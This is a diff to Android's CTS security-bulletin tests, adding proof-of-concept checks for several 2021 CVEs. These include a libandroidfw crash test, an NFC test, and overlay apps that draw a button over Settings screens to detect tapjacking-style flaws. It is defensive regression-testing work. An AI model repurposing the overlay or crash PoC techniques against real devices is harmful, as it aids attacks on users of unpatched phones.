diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 00000000000..6cac004b175
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+ /**
+ * b/203938029
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libandroidfw (As per AOSP code)
+ * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 203938029)
+ @Test
+ public void testPocCVE_2021_39664() throws Exception {
+ String inputFiles[] = {"cve_2021_39664"};
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39664";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+ "android::LoadedPackage::Load"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index d8f3ddfa1d3..8f12b522fad 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -16,27 +16,27 @@
package android.security.cts;
-import static org.junit.Assert.assertTrue;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
import org.junit.runner.RunWith;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0922 extends SecurityTestCase {
+public class CVE_2021_39675 extends SecurityTestCase {
/**
- * b/195630721
+ * b/205729183
+ * Vulnerability Behavior: EXIT_VULNERABLE (113)
*/
- @AsbSecurityTest(cveBugId = 195630721)
+ @AsbSecurityTest(cveBugId = 205729183)
@Test
- public void testPocCVE_2021_0922() throws Exception {
- String packageName = "com.android.managedprovisioning";
- String queryStr = "dumpsys package " + packageName;
- String permissions = AdbUtils.runCommandLine(queryStr, getDevice());
-
- // MANAGE_APP_OPS_MODES permission must be enforced for
- // package com.android.managedprovisioning
- assertTrue(permissions.contains("android.permission.MANAGE_APP_OPS_MODES"));
+ public void testPocCVE_2021_39675() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+ AdbUtils.TIMEOUT_SEC);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d6de6..d7a3afc7a6d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@ package android.security.cts;
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@ import static org.junit.Assert.*;
import static org.junit.Assume.*;
import static org.hamcrest.core.Is.is;
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
private static final String LOG_TAG = "SecurityTestCase";
private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
// account for the poc timer of 5 minutes (+15 seconds for safety)
protected static final int TIMEOUT_NONDETERMINISTIC = 315;
- private long kernelStartTime;
+ private long kernelStartTime = -1;
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
@@ -119,9 +120,13 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
getDevice().waitForDeviceAvailable(30 * 1000);
}
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ if (kernelStartTime != -1) {
+ // only fail when the kernel start time is valid
+ long deviceTime = getDeviceUptime() + kernelStartTime;
+ long hostTime = System.currentTimeMillis() / 1000;
+ assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ kernelStartTime = -1;
+ }
// TODO(badash@): add ability to catch runtime restart
}
@@ -340,7 +345,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
"/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
"/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*" };
+ "/dev/st54j*", "/dev/st21nfc*" };
boolean isDriverFound = false;
for(String supportedDriver : supportedDrivers) {
if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e840158..7ff13699738 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@ package {
android_test_helper_app {
name: "CVE-2021-0523",
- srcs: [
- "src/android/security/cts/CVE_2021_0523/PocActivity.java",
- "src/android/security/cts/CVE_2021_0523/PocService.java",
- ],
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
test_suites: [
"cts",
"vts10",
"sts",
- "general-tests",
],
- sdk_version: "system_current",
static_libs: [
- "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 594e42765e8..e21b9b700fd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
android:versionName="1.0">
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<application
android:allowBackup="true"
android:label="CVE-2021-0523"
android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
<service
android:name=".PocService"
android:enabled="true"
android:exported="false" />
- <activity android:name=".PocActivity">
+ <activity android:name=".PocActivity"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0523" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 00000000000..dcdbe0aa788
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 00000000000..e0fc3370936
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.io.IOException;
+import java.util.regex.Pattern;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_PKG_WIFI = "com.android.settings";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+ String activityDump = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ if (Settings.canDrawOverlays(getApplicationContext())) {
+ Intent intent = new Intent(getApplicationContext(), PocService.class);
+ context.startService(intent);
+ } else {
+ try {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ /* Start the launcher activity */
+ context.startActivity(intent);
+ /* Wait for the WifiScanModeActivity */
+ if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Start the overlay service */
+ startOverlayService();
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Pattern pattern = Pattern.compile(
+ getApplicationContext().getResources().getString(R.string.overlay_button),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ /* Wait for an object of the overlay window */
+ if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Check if the currently running activity is WifiScanModeActivity */
+ try {
+ activityDump = mDevice.executeShellCommand("dumpsys activity");
+ } catch (IOException e) {
+ throw new RuntimeException("Could not execute dumpsys activity command");
+ }
+ Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+ if (!activityPattern.matcher(activityDump).find()) {
+ return;
+ }
+ String message = "Device is vulnerable to b/174047492 hence any app with "
+ + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+ assertNull(message, mDevice.findObject(selector));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 0ba69f5bc8f..a28b337a327 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -18,60 +18,16 @@ package android.security.cts.cve_2021_0523;
import android.app.Activity;
import android.content.Intent;
-import android.content.Context;
import android.net.wifi.WifiManager;
-import android.os.Build;
import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
public class PocActivity extends Activity {
- private WakeLock mScreenLock;
- private Context mContext;
-
- private void startOverlayService() {
- if (Settings.canDrawOverlays(this)) {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- startService(intent);
- } else {
- try {
- Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
- startActivityForResult(intent, 1);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
-
- private void stopOverlayService() {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- stopService(intent);
- }
@Override
protected void onCreate(Bundle savedInstanceState) {
- mContext = this.getApplicationContext();
- PowerManager pm = mContext.getSystemService(PowerManager.class);
- mScreenLock = pm.newWakeLock(
- PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
- "PocActivity");
- mScreenLock.acquire();
- try {
- Thread.sleep(6000);
- } catch (Exception e) {
- e.printStackTrace();
- }
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- startOverlayService();
Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
- startActivityForResult(intent, 2);
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- mScreenLock.release();
+ startActivity(intent);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb81ed..9b013b85944 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -84,9 +84,8 @@ public class PocService extends Service {
private void showFloatingWindow() {
if (Settings.canDrawOverlays(this)) {
mButton = new Button(getApplicationContext());
- mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+ mButton.setText(getResources().getString(R.string.overlay_button));
mWindowManager.addView(mButton, mLayoutParams);
- mButton.setOnTouchListener(new FloatingOnTouchListener());
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
@@ -96,25 +95,4 @@ public class PocService extends Service {
mButton.setTag(mButton.getVisibility());
}
}
-
- private static class FloatingOnTouchListener implements View.OnTouchListener {
-
- @Override
- public boolean onTouch(View view, MotionEvent event) {
- view.setDrawingCacheEnabled(true);
- view.buildDrawingCache();
- Bitmap bitmap = view.getDrawingCache();
- int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
- int red = Color.red(pixel);
- int green = Color.green(pixel);
- int blue = Color.blue(pixel);
- view.setDrawingCacheEnabled(false);
- if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
- throw new RuntimeException(
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
- }
- return false;
- }
- }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10e005..3ffb7df9664 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
package android.security.cts.cve_2021_0586;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
-import java.io.IOException;
-import java.util.regex.Pattern;
+
import org.junit.Before;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
+import java.io.IOException;
+import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
- private static final String TEST_PKG_BT = "com.android.settings";
private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private Pattern overlayTextPattern;
private UiDevice mDevice;
String activityDump = "";
@@ -68,26 +72,29 @@ public class DeviceTest {
final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
assertNotNull(intent);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
/* Start the launcher activity */
context.startActivity(intent);
- Pattern pattern = Pattern.compile(
+ overlayTextPattern = Pattern.compile(
getApplicationContext().getResources().getString(R.string.overlay_button),
Pattern.CASE_INSENSITIVE);
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
/* Wait for the overlay window */
- if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
/* Start the DevicePickerActivity */
startDevicePickerActivity();
- }
- @Test
- public void testOverlayButtonPresence() {
- BySelector selector = By.pkg(TEST_PKG_BT);
- /* Wait for an object of DevicePickerActivity */
- if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ /* Wait until the object of launcher activity is gone */
+ if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
/* Check if the currently running activity is DevicePickerActivity */
try {
activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@ public class DeviceTest {
if (!activityPattern.matcher(activityDump).find()) {
return;
}
+
+ /* Failing the test as fix is not present */
String message = "Device is vulnerable to b/182584940 hence any app with "
+ "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
- assertNotNull(message, mDevice.findObject(selector));
+ fail(message);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
new file mode 100644
index 00000000000..c4589762fe8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-0953",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 00000000000..ddc942fd44a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0953"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-0953"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ <activity
+ android:name=".PocVulnerableActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.action.WEB_SEARCH"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 00000000000..13651bd8010
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 00000000000..2d3268bef08
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/pocVulnerableActivity"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 00000000000..c027ecfcd78
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumption_failure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 00000000000..69988650620
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="callback_key">testMutablePendingIntentCallback</string>
+ <string name="message_key">testMutablePendingIntentMessage</string>
+ <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 00000000000..ee5dac6d122
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
